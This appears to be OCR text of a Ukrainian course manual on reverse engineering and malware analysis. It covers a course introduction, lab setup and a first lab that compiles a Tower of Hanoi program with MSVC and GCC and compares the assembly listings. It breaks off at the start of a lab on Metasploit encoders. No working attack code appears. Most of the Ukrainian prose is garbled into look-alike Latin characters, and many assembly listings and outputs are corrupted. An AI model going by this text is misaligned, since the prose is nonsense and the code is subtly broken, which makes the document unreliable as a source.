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Beryn

Jsikyemo, 1Mo BiIKPUIM METOINYHI BKa3iBKU J0 Kypcy “3BOpOTHA PO3POOKa Ta
aHaJIi3 IKiJIMBOrO IporpaMHoro 3abe3nedenns’. Kypc mpucBsyeHo aHaIi3y Ko-
JIy TIPUKJIAIHOIO Ta CHCTEMHOI'O IIPOTPAMHOIO 3a0e3IeYeHHsl, IIKiIJIMBOIO IIPO-
rpamsoro 3abesnedenns (IIIII3) 3 ta 6e3 BuxigHux KoaiB. B aHruiiichkiit MoBi
HisUTBHICTD OMHUCYEThCH fK reverse engineering; malware analysis, research and
development.

Mertoro0 € OTpUMaHHS HABUYOK TEXHITHOTO aHAJI3Y 1HITUIEHTIB KOMII I0TEePHOT
Gesnekn 3 3acrocysannsaM ITI3 (incident response to malware attacks), anamisy
ITII13 nanpasienux arak (targeted malware analysis), po3pobku 3aco6iB BTOp-
THEHHs, JIETAJbHOTO TPEXOIIEHHS Ta BiJIaJIeHOr0 KEPYBAHHS JIJIs [IPABOOXO-
pounux oprais (intrusion software, lawful interception, computer surveillance
tools R&D for LEA).

JlaboparopHuil MpakTUKyM HOOYIOBAaHO 3 ypaxyBaHHSM ICHYIOUHX MaTepi-
aJliB, KypCiB Ta TPeHUHTIB. 30KpeMa 3aMiCThb JabOpaTOPHUX pODBIT MOXKe OyTHh
3apaxX0OBAHO [IPOXOJZKEHHsI TPEHIHTIB (32 HagBHOCTI BiaoBinHOrO ceprudikary):

e SANS 610, GIAC Reverse Engineering Malware (GREM);
e eLearnSecurity ARES (eCRE);

e iHIITi 3a TOIEepeTHIM TOTOXKEHHAM ITPOTATOM MEPIMNX 2 THXKHIB HaBIAb-
HOT'O CEMECTDY.

Pazom 3 TuMm, 3ampomoHoBaHMit MPAKTHUKYM HE € KOIIEIO KOIHOI i3 icHy-
I0YMX HaBYaJBHUX [IPOTPaM, Ta CIIPOEKTOBAHUU CIENiajbHO JJIs OakasaBpaTy
rpyn @B (125 “Ki6epbesneka”) ta @I (113 “Ilpukiansa maremaruka’) Pizuko-
texuiynoro incruryrty KIII im.Cikopebkoro. Bei Bukopucrani marepianu ta Te-
XHOJIOTT, BKJIOUaodn nociimkysani 3pasku I3 3 mampasienux arak mep-
JKaBHUX YCTAHOB, — y BIIKPUTOMY [JOCTYII; IyOJiKallisi He MOPYIIYE PERKUMY
CEeKPETHOCTI B paMKax JI0Y0ro 3aKOHOJABCTBa YKpaiuu. Bim ciyxatdiB He BU-
Mara€TbCsl OTPUMAHHS JIOILYCKY.

Bracaimok BukopucTaHHs B JOCJIKeHH] akTUBHEX 3paskis 111113, pekomen-
JIYEMO IOTPUMYBATUCS TEXHIKN OE3IeKH, 00 YHUKHYTH 3aPA2KEHHsI BJIACHOI CH-
cremu. PoboTa i3 3paskamMu IOBUHHA ITPOBOIUTHCS B 130, IbOBAHOMY CEDPEIOBUII,
onmcanoMmy y JaboparopHiit pobori 3 munamianoro anasmizy IIII13.

OcobsuBicTIO KypCy € IOCUJIEHa aKTUBHA CKJIaJI0Ba 3aXUCTy. B ToMy umcii,
JOCTIIPKYIOTbCsI KOMIIOHEHTH, IO IOTEHIHHO MOXYTh OyTH BUKOPUCTAHI JJIsi
pospobku IITI3 Ta He3aKOHHOrO BTpPydYaHHS B POOOTY KOMII'IOTEPIB, CHCTEM Ta,
Mepexk. B VkpaiHi cTBOpeHHsI 3 METOI0 BHKOPHUCTAHHSI, PO3MOBCIOKEHHST ab0
30y Ty IMIKiJIUBUX TPOTPAMHNMX UM TEXHITHUX 3aC00iB, a TAKOXK TX PO3MOBCIOKE-
HHs1 abo 30yT € KpuMiHaabHUM 37109nHOM (cT. 361-1 KpuminambHOro Kojekcy),



TaK caMoO fK i He3aKOHHe BTDYyJaHHS B POOOTY €JIEKTPOHHO-OOYUCIIIOBAJILHUX
MamuH (KOMIT'IOTepIB), CHCTeM Ta KOMII'IOTepHIX Mepex (cT. 361).
B sKocTi norepeHbOI MiJINOTOBKE PEKOMEH,Iy€ThCS:

e Linux — Kali Linux Revealed [1],

C - K&R [2),

Python — Dive Into Python [3], Dive Into Python 3 [4],

Assembler — Understanding Assembly Language [5],
e Metasploit — Metasploit Unleashed [6].
HomatkoBa JiTeparypa 3 Kypcy:

e Practical Malware Analysis [7],

e Malware Analyst’s Cookbook 8],

e Rootkits and Bootkits [9],

e Practical Reverse Engineering [10],

o Art of Memory Forensics [11],

e IDA Pro Book [12],

e Malware Data Science [13],

e Mastering malware analysis [14].

HomaTrkoBi MaTepiaan g0 J1abopaTOpHUX POOIT, MaTepiaan Jjsl 3aBAHTAYKE-
Hus nyosikyorbes Ha caitti Jlaboparopil Texniunoi imdopmariiinoi Oe3mexku
(https:/ /infosec.kpi.ua) Ta Telegram rpyui xypcy (https://t.me/kpi_re). Kon-
cyJsibTalii MOXKHA OTpUMaTH y rpymi Ta jgaboparopil 311-11 (po3kiian KOHCYIIb-
Taniif yrouHoiiTe).

[Mpukiaau y miaposiiax mopsiIoK BUKOHAHHS POOIT IMiJINOTOBJIEH] Y 3araJib-
Hill KOHMIrypari:

e Xoct: Ubuntu Desktop 18.04 LTS x86_ 64 [15],

e Cucrema pipryasmizanil: VMware Workstation 15 Pro version 15.5.2 [16],
e VM Linux: Kali Linux 2020.1 x86 64 [17],

e VM Windows: Windows 10 Enterprise version 1909 [18].

JlorycKaeTbCst 3aCTOCYBAHHS 1HIMX JUCTPUOYTHUBIB Ta ONMEPAIiTHUX CHCTEM
(K10 BUMOrM He BKazaHi aBHO B omuci jaboparopuoi poboru). Ilpu 3acrocy-
BaHHi iHIIO0T KOHMIryparii KoMaH1 MOXKYTh BiIPI3HATHCS (30KpeMa HaKeTHHI
MeHe Kep Ta iMeHa MPOrpaMHUX MaKyHKIB). Ilepes TuM siK 3a/aBaTH NUTAHHS
3 IBOT'O TIPUBO/LY, O3HafoMTech 3 [19].

B mocibruky BapiaHT 3aBIaHHS — Bamr HOMEp B CIHCKY IpyIu 3a MOIY-
JIeM KiJbKICTh 3aBAaHb. 3BIT Ma€ MICTUTH BUXIIHI KOIM, BUKOHAHI KOMAHIN Ta
BUBLZ ([J18 KOHCOJIBHUX 3aCTOCYBaHb) 860 CKpiHmoTH (st rpadivyHmnx ), KOMeH-
Tapi 70 BUKOHAHUX Jiil. Pe3ynbprarn MOXKHA [10/1aBaTU B €JIEKTPOHHOMY BHIJISII.



VYV Bunanky, koim obcar nepesurrye 1 M6, BuUKopucTOByiiTe 30BHIIHI CXOBHIIA
(manpukiam, https://mega.nz). SIKmo nepeaeTbesi CKOMIUIBOBAHUI KO, CTBO-
pioiiTe apxiB 3 BUNIQJIKOBUM T1apoJjeM 1 mmudpyBanaaM iMen daitnis. [Ipukias 3
7-Zip:

$ 7z a -mhe -p7eDw0so3Dt37UXrl lab_report.7z *
3reHepyBaTH MapoJib MOXKHA, HAIPHUKIIAJ, 3a jornomoron OpenSSL:

$ openssl rand -base64 12
7eDw0so3Dt37UXrl

KonrakTHa indopmarris:

o Jlekil — Mukosia IsanoBu4 Liibin,
Email m.ilin@kpi.ua, Telegram @mykola_ilin, Threema 2SS7TEYDB;

e Jlaboparopuuit npaktukyMm — Amurpo Iroposuy Akobuyk,
Email d.yakobchuk@kpi.ua, Threema TADKETKX;

e Acucrenru — A.Boiinexosebkuii, 1. Mopos, O.Kocriokosenp (Bci, XT0 Mae
craryc agMinicrparopa y @kpi re).

CroziBaeMoch Ha CHIBPOOITHUIITBO Ta eEeKTUBHY POOOTY.



JlabopaTopua pobota 1

AHaJ3 OporpaMHOroO KOy
MOB BHCOKOI'O PIBHS

1.1 Mera poborn

OTpuMaTH HABUYKHA PO3II3HABAHHA KOHCTYKIH MOB BHCOKOTO PiBHS B MAIIUH-
HOMY Kogi st apxirekTyp x86/x64 ra ARM/ARMG64 na npukiazni C/CH+.

1.2 IlocranoBKa 3agadi

JocninuT MammmHEHWIA KOJI, 110 BiAMOBinae cuaTakcuaanM KOHCTpyKItism C/C++.

1.3 Ilopsimok BuKOHaHHS poboTH

Pozristaemo miportec renepariii MAIMHHOTO KOTY CYYACHUMU KOMITJISTOPAMU HA
MPUKJIa Il IpocTol nmporpamMu MoBoi C, PeKypCUBHUI aJrOPUTM PO3B’SI3KY 3a-
madi mpo XaHOWCHKY BEXKY 3 TPbOMA JTUCKAMUT:

$ cat hanoi.c
#include <stdio.h>

void hanoi(int n, char from, char to, char aux) {
if (n == 1)
printf ("Move disk 1 from %c to %c\n", from, to);
else {
hanoi(n-1, from, aux, to);
printf ("Move disk %d from %c to %c\n", n, from, to);
hanoi(n-1, aux, to, from);

}
int main() {

hanoi (3, ’A’, ’C?, ’B?’);
}

$ gcc hanoi.c && ./a.out

Move disk 1 from A to C
Move disk 2 from A to B
Move disk 1 from C to B
Move disk 3 from A to C
Move disk 1 from B to A
Move disk 2 from B to C
Move disk 1 from A to C
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Puc. 1.1: Beranosieni build tools mia x86, x64, ARM, ARMG64

1.3.1 Kowmmimsarop Microsoft C/C+-+ y Visual Studio 2019

st Microsoft C+-+ BuKOpHCTAEMO yTHITH KOMAHIHOTO PSIIKA JJIsi PI3HUX
wiardopm (x86, x64, ARM, ARM64). 3a 3aMOBYyBaHHAM BOHU HE BCTAHOB-
JIIOIOThCsI, 1106 Jo1aTu B icHyrode cepeposuine Visual Studio 2019 HeoOximHO
sukonaru [20]. Ipukias yenimHoro HajamryBanHs Ha puc. 1.1.

[TispoBa apxiTekTypa 3aa€ThCsd 3MIHIMHU OTOUYEHHsI y cKpunTi vevarsall.bat,
napamerp arch x86, amd64, x86 _arm, x86 _arm64:

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\
Build>vcvarsall.bat /help
Syntax:
vcvarsall.bat [arch]
vc_version]

[platform_typel] [winsdk_version] [-vcvars_ver=
[—chars_spectre_libs=spectre_mode]
where

[arch]: x86 |

amd64_arm |

amd64 | x86_amd64 |
amd64_arm64

x86_arm | x86_arm64 | amd64_x86 |

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\
Build>vcvarsall.bat x86_arm

sk sk ok ok ok ok ok ok ok K ok ok K ok ok K ok ok o ok ok K ok ok o ok ok o ok ok ok ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok ok o ok K

**x Visual Studio 2019 Developer Command Prompt v16.4.6

*x Copyright (c) 2019 Microsoft Corporation
%k %k ok %k %k 3k 3k 3k 3k %k %k %k %k %k 3k 3k 3k %k %k %k %k 3k 3k 3k %k >k %k %k %k 3%k 3k 3k %k %k %k %k % 3%k >k 3k >k %k %k %k 3% 3%k >k %k >k %k %k % % %k 3k %k %k %k *k % % >k % %k %k *k % % %k

[vcvarsall.bat] Environment initialized for: ’x86_arm’

Kowmminsitop cl.exe mae nmapamerp /FA, 3ajiaBimm sikuif MOXKHA OTPUMATH
JICTHHT 3 aceMOJIEpHUM Ta MAIIUHHUM KOZIOM, II[0 BIJIIIOBIIA€ OKPEMUM DsJIKAM
BuxinHoro koxy mosoro C [21]:
> ¢l /FAcsu hanoi.c

Microsoft (R) C/C++ Optimizing Compiler Version 19.24.28319 for x86
Copyright (C) Microsoft Corporation. All rights reserved.

hanoi.c
Microsoft (R) Incremental Linker Version 14.24.28319.0
Copyright (C) Microsoft Corporation. All rights reserved.

/out :hanoi.exe
hanoi.obj

B mporieci pobotu crBOpioeThes daiin hanoi.cod, dparmenTt 3 dyHKITIEO



hanoi mae Burssi:

_hanoi PROC
; 3 : void hanoi(int n, char from, char to, char aux) {
00000 55 push ebp
00001 8b ec mov ebp, esp
; 4 if (n == 1)
00003 83 7d 08 01 cmp DWORD PTR _n$[ebpl, 1
00007 75 19 jne SHORT $LN2@hanoi
; 5 : printf ("Move disk 1 from %c to %c\n", from,
00009 0f be 45 10 movsx eax, BYTE PTR _to$[ebp]
0000d 50 push eax
0000e Of be 4d Oc movsx ecx, BYTE PTR _from$ [ebp]
00012 51 push ecx
00013 68 00 00 00 00 push OFFSET $SG9159
00018 e8 00 00 00 00 call _printf
0001d 83 c4 Oc add esp, 12
00020 eb 57 jmp SHORT $LN1@hanoi
$LN2@hanoi:
; 6 : else {
s 7 : hanoi(n-1, from, aux, to);
00022 0f b6 55 10 movzx edx, BYTE PTR _to$[ebpl]
00026 52 push edx
00027 0f b6 45 14 movzx eax, BYTE PTR _aux$[ebp]
0002b 50 push eax
0002c Of b6 4d Oc movzx ecx, BYTE PTR _from$ [ebp]
00030 51 push ecx
00031 8b 55 08 mov edx, DWORD PTR _n$[ebp]
00034 83 ea 01 sub edx, 1
00037 52 push edx
00038 e8 00 00 00 00 call _hanoi
0003d 83 c4 10 add esp, 16
; 8 : printf ("Move disk %d from %c to %c\n", n,
00040 0f be 45 10 movsx eax, BYTE PTR _to$[ebp]
00044 50 push eax
00045 0f be 4d Oc movsx ecx, BYTE PTR _from$[ebp]
00049 51 push ecx
0004a 8b 55 08 mov edx, DWORD PTR _n$[ebpl
0004d 52 push edx
0004e 68 00 00 00 00 push OFFSET $SG9160
00053 e8 00 00 00 00 call _printf
00058 83 c4 10 add esp, 16
;9 : hanoi(n-1, aux, to, from);
0005b 0f b6 45 Oc movzx eax, BYTE PTR _from$ [ebp]
0005f 50 push eax
00060 O0f b6 4d 10 movzx ecx, BYTE PTR _to$[ebpl
00064 51 push ecx
00065 0f b6 55 14 movzx edx, BYTE PTR _aux$[ebpl]
00069 52 push edx
0006a 8b 45 08 mov eax, DWORD PTR _n$[ebp]
0006d 83 e8 01 sub eax, 1
00070 50 push eax
00071 e8 00 00 00 0O call _hanoi
00076 83 c4 10 add esp, 16
$LN1@hanoi:
; 10 : }
;11 : )
00079 5d pop ebp
0007a c3 ret 0
_hanoi ENDP
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3BepHiTH yBary Ha mepejady mapameTpiB GyHKIIIH, TOCTiTIOBHITH Ta MeXa-
Hi3M (crek, pericrpu Ta iXHIH TOPSAZIOK) BiAPISHSIIOTHCS JUisl PI3HUX TLIATHOPM

ta OC [22].

1.3.2 Kowmmiasarop gcc y GCC 9.2

Posrngaemo nabip xomminsgropie GNU B OC Linux gms Toro xk mHabopy ap-
xirekryp (B GCC nosnauarorses 1686, amd64, arm, aarch64). s incrassimii
BimoBiHMX KoMIiiaTopiB Ta yTuiaiT B Kali Heobxinno BukoHaTH:
# apt install gcc gcc-i686-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-
gnu binutils binutils-arm-linux-gnueabi binutils-aarch64-linux-gnu
ITapaMerpu KoMIIATOPa gCC JJIsT BUBOJY acceMmbyiepHOro Jictuary -Wa,-

adhln -g [23]:

gcc -Wa,-adhln -g hanoi.c > hanoi.amd64.1lst

i686-linux-gnu-gcc -Wa,-adhln -g hanoi.c > hanoi.i686.1st

$

$

$ arm-linux-gnueabi-gcc -Wa,-adhln -g hanoi.c > hanoi.arm.lst

$ aarch64-linux-gnu-gcc -Wa,-adhln -g hanoi.c > hanoi.aarch64.lst

B pesysbrari qi1a 1686 dparMenT KOay Ma€ BUIVISII:

1:hanoi.c *x%% #include <stdio.h>
2:hanoi.c * ok sk ok
3:hanoi.c ***x* void hanoi(int n, char from, char to, char aux) {
15 .loc 1 3 49
16 .cfi_startproc
17 0000 55 pushl %ebp
18 .cfi_def_cfa_offset 8
19 .cfi_offset 5, -8
20 0001 89E5 movl hesp, hebp
21 .cfi_def_cfa_register 5
22 0003 56 pushl %hesi
23 0004 53 pushl %ebx
24 0005 83EC10 subl $16, Yesp
25 .cfi_offset 6, -12
26 .cfi_offset 3, -16
27 0008 E8FCFFFF call __x86.get_pc_thunk.bx
27 FF
28 000d 81C30200 addl $_GLOBAL_OFFSET_TABLE_, Y%ebx
28 0000
29 0013 8B4DOC movl 12(%ebp), hecx
30 0016 8B5510 movl 16(%ebp), %hedx
31 0019 8B4514 movl 20(%ebp), %eax
32 001c 884DF4 movb %ecl, -12(%ebp)
33 001f 8855F0 movb %dl, -16(%ebp)
34 0022 8845EC movb %al, -20(%ebp)
4:hanoi.c *ok Kk if (n == 1)
35 .loc 1 4 8
36 0025 837D0801 cmpl $1, 8(lhebp)
37 0029 T751E jne .L2
5:hanoi.c * ok ok ok printf ("Move disk 1 from %c to %c\n", from,
to);
38 .loc 1 59
39 002b OFBESSFO movsbl -16(%ebp), %edx
40 002f OFBE45F4 movsbl -12(%ebp), ’eax
41 0033 83EC04 subl $4, Jesp
42 0036 52 pushl %hedx
43 0037 50 pushl heax
44 0038 8D830000 leal .LCOQ@GOTOFF (%ebx), %eax
44 0000
45 003e 50 pushl heax
46 003f E8FCFFFF call printf@PLT
46 FF
47 0044 83C410 addl $16, ‘esp
6:hanoi.c *k Kk else {
7:hanoi.c * sk ok ok hanoi(n-1, from, aux, to);
8:hanoi.c * ok kK printf ("Move disk %d from %c to %c\n", n,

from, to);
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9:hanoi.c * Kk k hanoi(n-1, aux, to, from);

10:hanoi.c * K ok ok }
11:hanoi.c s*okokk  }
48 .loc 1 11 1
49 0047 EBS58 jmp L4
50 .L2:
7:hanoi.c * ok ok ok printf ("Move disk %d from %c to %c\n", n,
from, to);
51 .loc 1 7 9
52 0049 OFBE4DFO movsbl -16(%ebp), %ecx
53 004d OFBES5EC movsbl -20(%ebp), ‘hedx
54 0051 OFBE45F4 movsbl -12(%ebp), ’%eax
55 0055 8B7508 movl 8(%ebp), %esi
56 0058 83EEO1 subl $1, %esi
57 005b 51 pushl hecx
58 005c 52 pushl %hedx
59 005d 50 pushl heax
60 005e 56 pushl hesi
61 005f E8FCFFFF call hanoi
61 FF
62 0064 83C410 addl $16, Jesp
8:hanoi.c ok ok ok hanoi(n-1, aux, to, from);
63 .loc 1 8 9
64 0067 OFBESSFO movsbl -16(%ebp), %edx
65 006b OFBE45F4 movsbl -12(%ebp), %eax
66 006f 52 pushl %hedx
67 0070 50 pushl %heax
68 0071 FF7508 pushl 8(%ebp)
69 0074 8D831B0O leal .LC1@GOTOFF (%ebx), %eax
69 0000
70 007a 50 pushl heax
71 007b E8FCFFFF call printf@PLT
71 FF
72 0080 83C410 addl $16, Jesp
9:hanoi.c KKK }
73 .loc 1 9 9
74 0083 OFBE4DF4 movsbl -12(%ebp), ‘hecx
75 0087 OFBESSFO movsbl -16(%ebp), %edx
76 008b OFBEASEC movsbl -20(%ebp), %eax
77 008f 8B5D08 movl 8(%ebp), %ebx
78 0092 83EBO1 subl $1, %ebx
79 0095 51 pushl hecx
80 0096 52 pushl %hedx
81 0097 50 pushl %heax
82 0098 53 pushl %hebx
83 0099 E8FCFFFF call hanoi
83 FF
84 009e 83C410 addl $16, esp
85 .L4:
86 .loc 1 11 1
87 00al 90 nop
88 00a2 8D65F8 leal -8(%ebp), %esp
89 00a5 5B popl %hebx
90 .cfi_restore 3
91 00a6 5E popl hesi
92 .cfi_restore 6
93 00a7 5D popl %ebp
94 .cfi_restore 5
95 .cfi_def_cfa 4, 4
96 00a8 C3 ret

3BepHiTh yBary Ha HecxoxkicTb jgicruary 3 BuBogom MSVC cl. Y GCC 6isbm
nommpenwuit Tak 3eaanit AT&T curatakence, mporn Intel y MSVS [5]. Orpumarn
JICTUHT 3 BUXIJHAM Ta BiJIIIOBiIHUM MAITMHHAM KOJOM MOKHA 1 1HIIAM IILIs-
XOM, Jmu3aceMOJIIOBaBIN OIHAPHUIT BUKOHYBaHUi (pailji CTBOpEHU 3 Bijjaro-
JRKyBaJIbHOW iHbOopManieo [24]:
$ i686-linux-gnu-gcc -g hanoi.c -o hanoi.i686

$ i686-linux-gnu-objdump -drwC -Mintel -S hanoi.i686 > hanoi.i686.2.1lst

Binmosigmruit ¢pparment 3 Intel cumnrakcucom:
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000011ed <hanoi>
#include <stdio.

void hanoi(int n

1led:

1lee:

11£0:

11£1:

11£2:

11£f5:

11fa:

1200:

1203:

1206:

1209:

120c:

120f:

if (n == 1)

1212:

1216:
printf ("

1218:

121c:

1220:

1223:

1224:

1225:

122b:

122c:

1231:

else {
hanoi(n-
printf ("
hanoi (n-

}

1234:
hanoi (n-
1236:
123a:
123e:
1242:
1245:
1248:
1249:
124a:
124b:
124c:
1251:
printf ("
1254:
1258:
125c:
125d:
125e:
1261:
1267:
1268:
126d:
hanoi(n-
1270:
1274:
1278:
127c:
127f:
1282:
1283:
1284:
1285:
1286:
128b:

128e:
128f:

h>

B

55
89
56
53

83
75

char from,

eb5

7d
le

fe ff
06 2e

08 01

Move disk 1
0f be 55 fO

1,

1,

be

ec

83

of
c4

from,
Move disk

45 f4

04

08 e0

fe ff
10

aux, to,

58

from,

be
be
be
75
ee

4d fO
55 ec
45 f4

ff ff

83 c4 10

Move disk

0f be 55 fO0
0f be 45 f4

75
83

a3
c4

08
23 e0

fd ff
10

aux, to,

be
be
be
5d
eb

62
c4

65

44 f4
55 fO
45 ec

ff ff
10

£8

char to,

ff
00 00

char aux) {

push
mov
push
push
sub
call
add
mov
mov
mov
mov
mov
mov

cmp
jne

from %c to %c\n",

ff ff

ff

aux, to);
%d from Y%c to

from) ;

aux, to);

ff

ff ff
ff

from) ;

ff

%d from %c to

13

movsx
movsx
sub
push
push
lea
push
call
add

%c\n",

jmp

movsx
movsx
movsx
mov
sub
push
push
push
push
call
add
%c\n",
movsx
movsx
push
push
push
lea
push
call
add

movsx
movsx
movsx
mov
sub
push
push
push
push
call
add

nop
lea

ebp

ebp,esp

esi

ebx

esp,0x10

10b0 <__x86.get_pc_thunk.bx>
ebx ,0x2e06

ecx ,DWORD PTR [ebp+0xc]
edx ,DWORD PTR [ebp+0x10]
eax ,DWORD PTR [ebp+0x14]
BYTE PTR [ebp-0Oxcl,cl
BYTE PTR [ebp-0x10],dl
BYTE PTR [ebp-0x14],al

DWORD PTR [ebp+0x8],0x1
1236 <hanoi+0x49>

from, to);
edx ,BYTE PTR [ebp-0x10]
eax ,BYTE PTR [ebp-0Oxc]

esp,0x4

edx

eax

eax, [ebx-0x1f£f8]
eax

1040 <printf@plt>
esp,0x10

n, from, to);

128e <hanoi+0Oxal>

ecx ,BYTE PTR [ebp-0x10]
edx ,BYTE PTR [ebp-0x14]
eax ,BYTE PTR [ebp-0xc]
esi,DWORD PTR [ebp+0x8]
esi,Ox1

ecx

edx

eax

esi

11ed <hanoi>

esp,0x10

n, from, to);

edx ,BYTE PTR [ebp-0x10]
eax ,BYTE PTR [ebp-0xc]
edx

eax

DWORD PTR [ebp+0x8]
eax, [ebx-0x1fdd]

eax
1040 <printf@plt>
esp,0x10

ecx ,BYTE PTR [ebp-0xc]
edx ,BYTE PTR [ebp-0x10]
eax ,BYTE PTR [ebp-0x14]
ebx ,DWORD PTR [ebp+0x8]
ebx ,0x1

ecx

edx

eax

ebx

1led <hanoi>

esp,0x10

esp, [ebp-0x8]



1292: 5b pop ebx

1293: Se pop esi
1294: 5d pop ebp
1295: c3 ret

[TopiBasiBmu orpumani pesyiabraru 3 MSVC cl, MoxkHa mobaduTH, 110 BOHA
TakoK pizmi. [le mTarHa cuTyartis, Mo LIIOCTPYE YOMY BiTHOBJIEHHS BUXiJTHOTO
KO/Ty 3a OiHApPHMM BUKOHYBAaHUM (hailjioM € CKIIaTHOO 33/Ia9€0 — PE3YJIbTY IOl
MAIIMHHUH KO B OLIbITOCT] BUMMAAKIB Pi3HUIT AK I PI3HUX KOMIIIATOPIB, TaK
1 /I pI3HUX BEPCit OJTHOTO KOMIIJISITOPa, PISHUX HAJAIITYBaHb ONTUMI3AIll Ta
iH.

B momanbmoMy mj1s CIpOIIeHHsT HAJIAIITYBAHHS TPOTPaM JJjIs PI3HAX apXi-
TEKTYP KOPHUCHO JIONATH IPO30PY HiATPUMKY He-X86 3a JOIIOMOTroI0 gemu-user-
binfmt:
dpkg --add-architecture armel
dpkg --add-architecture armé64

apt update
apt install gemu-user-binfmt libc6:arm64 libc6:armel

H* oH H

V pasi ycnixy 3’ aBIs€TbCS MOXKJIUBICTD IPSIMOTO 3AITYCKY BUKOHYBaHUX (aii-
JiB jgig iHmumx miardopwM, vanpukiias A Arch64:

$ aarch64-linux-gnu-gcc hanoi.c && file a.out && ./a.out

a.out: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[shal
1=71242dbc03e5537d0208£f602435bd16b56cc7109, for GNU/Linux 3.7.0, not
stripped

Move disk from

Move disk from

Move disk from

1 to
2
1
Move disk 3 from
1
2
1

to
to
to
to
to
to

Move disk from
Move disk from
Move disk from

>0 wE Q> >
Q= QWA

Binbin geranbao 3 ocobmuBoctsamu apxitekTyp x86 /amd64 ta ARM /A Arch64,
nabopamu iHCTPYKLiii, BianoBignocTsamu koucrpykii C/C++ 10 Manmaoro Ko-
Iy MOKHa O3HaffomuTucst y [5].

1.4 BapianTtu 3aBaaHb

e IIpoanasisyBaru MamuMHHUNE KOJ HpuK/aay hanoi.c jaus Windows x64,
ARM, ARM64 (MSVC), ayia Linux amd64, arm, arm64 (GCC), mua Linux
amd64 (LLVM clang, https://llvim.org/);

e Peajizysaru moBoro C/C++, npoanasizyBaTu pe3y/ibraTu KOMIsIil (3a
BapianTom), g mwiardgopm 1686, amd64, arm, aarch64:

— Kowmbinaropni anropurmu [25], 6ye-sikuii Ha Bamn Bubip 3 BKazaHOro
KJIaCy:

Ha rpadax — obxig rpada;

Ha rpadax — TOMOJIOTIYHE COPTYBAHHS;

Ha rpadax — KOMIIOHEHTa 3B I3HOCTI Tpada;

Ha rpadax — modyI0Ba KiCTIKOBOTO J€peBa;

Ha rpadax — HOIIYK HAHKOPOTIIOro IILIAXY;

A

Ha rpadax — po3dapbdbysanus rpadis;
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7. Ha rpadax — MOIMYK HAHBUTIIHINIIOTO IIIIXY;
8. Ha rpadax — MOTOKU B MEpEXKaX;
9. ma rpadax — KIIK;
10. na rpadax — IUKIIH;
11. ma rpadax — mapocroydeHHs;
12. ma rpadax — izomopdizmu;
13. momyky B MacHBi — €JIEMEHTH BIIOPSIJIKOBAHI;
14. momyky B MacHBi — €JIEMEHTH He BIIOPSIKOBAHI;
15. momyky B psakax — npubJn3Huii 30ir;
16. copTyBaHHS — OOMIHOM;
17. copryBaHHS — BUOOPOM;
18. copTyBaHHS — BKJIIOUYEHHSIM;
19. copTyBaHHS — 3JIUTTIM;
20. copTyBaHHs — 0€3 TOPiBHIHD.
Kpunrorpadiuai aaroput™mu, aJropuTMu KOLYBAHHS Ta KOHTPOJIIO
nicHoCTi [26, 27):
1. AES;
DES;
IDEA;
CAST5;
Blowfish;
ARCfour / RC4;
SEED;
Serpent;

© 0N S N

Camellia;
Salsa20;

. ChaCha20;

. GOST 28147-89;
. MD2;

. MD4;

. MD5;

. SHA-1;

. SHA-224;

. SHA-256;

. SHA-384;

. SHA3-256;

. SHAKE256;

. RIPEMD-160;

. Whirlpool;

. CRC-32;

. GOST R 34.11-2012 (Stribog);
. BLAKE2D;

. RC5;

NN NN DN DN KN K = o s e
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28. XXTEA;
29. Raiden;
30. VMPC.

e Peajtizanis dyukmniit cranmapraol 6ibsioreku C. Bibsioreka 3a BapianTa-
mu, byHKIGT Bel 3a3Hadeni (3a HagBHOCTI peasizanil), Bepcis Gibioreku
OCTaHHS CTAOLIbHA HA MOMEHT MOYATKY KypCY:

glibe [28];

dietlibe [29];

uClibe-ng [30];

Newlib [31];

musl [32];

klibe [33];

bionic [34].

NS o W=

QyHKIIT:
— CTaHJAPTHOrO BBOJ-BUBOJY printf, puts;
— poboru 3 daitamu fopen, fread, fwrite, feof, fclose;
— BUKOHAHHsI KOMaHJI OIepaIiifHol cucremu system.

3BepHiTH yBary Ha BiamiHHOCTI cucremHux BUKJNKIB y pizaux OC Linux
ta Windows mig pisuux apxirekryp (x86, x86 64, ARM) [35].

1.5 KoOHTpOJ/bHI NUTAHHS

1. fx ma piBHI MamUHHOTO KO/Iy peaJsizoBaHo switch-case y posrisnyTnx
KOMITiIATOpax?!

2. Ilo BimbyBaeThcs i3 dailsIOBUMHU AECKPUTITOPAME DATHKIBCHKOI'O IIPOIECY
v BUKJIHUKY system jutst suid Ta mHe-suid BukonyBanux daiutis? Posrisabre
BHUIIAIOK, Kouin Jeckpunropu 0, 1, 2 y 6aTbKiBCHKOMY IIPOIEC 3aKPUTI.

3. o BimOyBaeThCcsa 3 3MIHHUMU OTOYEHHS, 3MIHHUMA Ta €KCIIOPTOBAHUMU
dyukuismu komanaHol obostonku (bash) y Bukiuky system s suid Ta
He-suid BUKOHyBaHUX (aityris?
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JlabopaTopna pobdota 2

3acobu aBTOMAaTU3AIIl]
aHaJI3y

2.1 Meta poborn

OrpuMaTi HABUYIKYM aBTOMATHU3AI] METO/IIB aHAJIZY TPOrPAMHOTO KOTY.

2.2 TIlocranoBka 3ajadqi

Hocaiguru meromau obdyckarii ta nogimopdizmy I3, mocaiauru crarudsi Ta
JUHAMIYHI MeTo/in J1e0bdyCcKaIrii.

2.3 Ilopsimok BUKOHaHHS poOOTH

Opniero 3 npobsiem tpu anajizi I3 € 06 yckaliiss KOPHCHOI'O HABAHTAYKEHHS.
OcHOBHUIT KOJ Yy BUKOHYBaHOMY haiiyii 30epira€rbCsi B 3aKOIOBAHOMY BUIJISII
Ta JIEKOJIYEThCS TICJs 3aIyCcKy. THIIOBOIO € CHTYyallisl, KOJIU 2 3Pa3Kh OJHOTO
[MITI3 me MicTsATh YKOMHOI CIIJIBHOI CHUTHATYpPH, 00 yCKAIlis aBTOMAaTH30BAHA,
JofaHnit KoJl neodbdyckaTopa MiCTUTh METOIN MPOTHUIIl JUHAMITHOMY aHAJII3Y.
B cykymHOCTI 11e yCKIa HIOE aHTUBIPYCHUI 3aXUCT ILJILOBOI CUCTEMHU.

2.3.1 Oobdyckaris koay Ha nmpukjaaai Metasploit Encoders

